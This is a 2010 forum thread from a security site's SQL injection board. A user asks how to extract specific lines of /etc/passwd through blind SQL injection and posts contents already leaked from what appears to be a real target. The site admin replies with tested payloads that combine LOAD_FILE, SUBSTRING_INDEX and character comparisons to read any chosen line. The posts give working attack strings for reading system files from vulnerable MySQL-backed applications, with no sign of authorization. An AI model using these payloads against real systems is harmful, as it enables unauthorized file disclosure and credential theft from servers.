|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Problem with SQL blind..'LIMIT' |
|
Posted: Mon Jan 18, 2010 4:04 pm |
|
|
kr0k0 |
Advanced user |
|
|
Joined: Jan 26, 2008 |
Posts: 128 |
|
|
|
|
|
|
|
Hey,
Code: | AND (substring((SELECT load_file('/etc/passwd') limit 0,1),1,1)='r') |
I have a SQL blind ...and I wanna selecte a line into the file that I load'..When i try like that I just got the first one..
So I want to choose another line for example as "www-data:x:33:33:www-data:/v.." I have tried with LIMIT x,y but it gave me the same result.. Need a solution please..
Code: | root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
dhcp:x:101:101::/nonexistent:/bin/false
syslog:x:102:102::/home/syslog:/bin/false
klog:x:103:103::/home/klog:/bin/false
cupsys:x:100:106::/home/cupsys:/bin/false
messagebus:x:104:107::/var/run/dbus:/bin/false |
Plz need help, is very important for me..and Thank's in advanced... |
|
|
|
|
|
|
|
|
Posted: Mon Jan 18, 2010 5:52 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
LOAD_FILE() does read in full contents of the file. In "/etc/password" lines are separated with newlines ("\n"), but still you can access all lines by using SUBSTRING() function in MySql. "LIMIT" is not needed here!
And if you want to access specific line in file directly, then use MySql string functions to find needed newline position and then substring with offset can do the work.
http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_substring-index
Code: |
Posted by Bob Collins on March 17 2006 8:56pm [Delete] [Edit]
MySQL does not include a function to split a delimited string. Although separated data would normally be split into separate fields within a relation data, spliting such can be useful either during initial data load/validation or where such data is held in a text field.
The following formula can be used to extract the Nth item in a delimited list, in this case the 3rd item "ccccc" in the example comma separated list.
select replace(substring(substring_index('aaa,bbbb,ccccc', ',', 3), length(substring_index('aaa,bbbb,ccccc', ',', 3 - 1)) + 1), ',', '') ITEM3
The above formula does not need the first item to be handled as a special case and returns empty strings correctly when the item count is less than the position requested.
|
|
|
|
|
|
|
|
|
|
Posted: Tue Jan 19, 2010 1:25 pm |
|
|
kr0k0 |
Advanced user |
|
|
Joined: Jan 26, 2008 |
Posts: 128 |
|
|
|
|
|
|
|
Euh can you give me somes examples waraxe? with columns or load_file() function cuz I just have tried this and it doesnt workin'..Sorry and thank's for all things...
Code: | AND ascii(substring((SELECT SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),'\n',1)),1,1))>114 |
It give me just the same results as first.. ( root:...)
I'm waiting.. |
|
|
|
|
|
|
|
|
Posted: Tue Jan 19, 2010 2:13 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
I did some practical tests in phpmyadmin and here is working example:
Code: |
SELECT REPLACE(SUBSTRING(SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),0x0a,9),LENGTH(SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),0x0a,9-1))+1),0x0a,'')
|
This piece of sql code will select 9-th line from "/etc/passwd".
Next you must put this code inside your sql payload:
Code: |
AND (SUBSTRING((SELECT REPLACE(SUBSTRING(SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),0x0a,9),LENGTH(SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),0x0a,9-1))+1),0x0a,'')),1,1)='w')
|
|
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|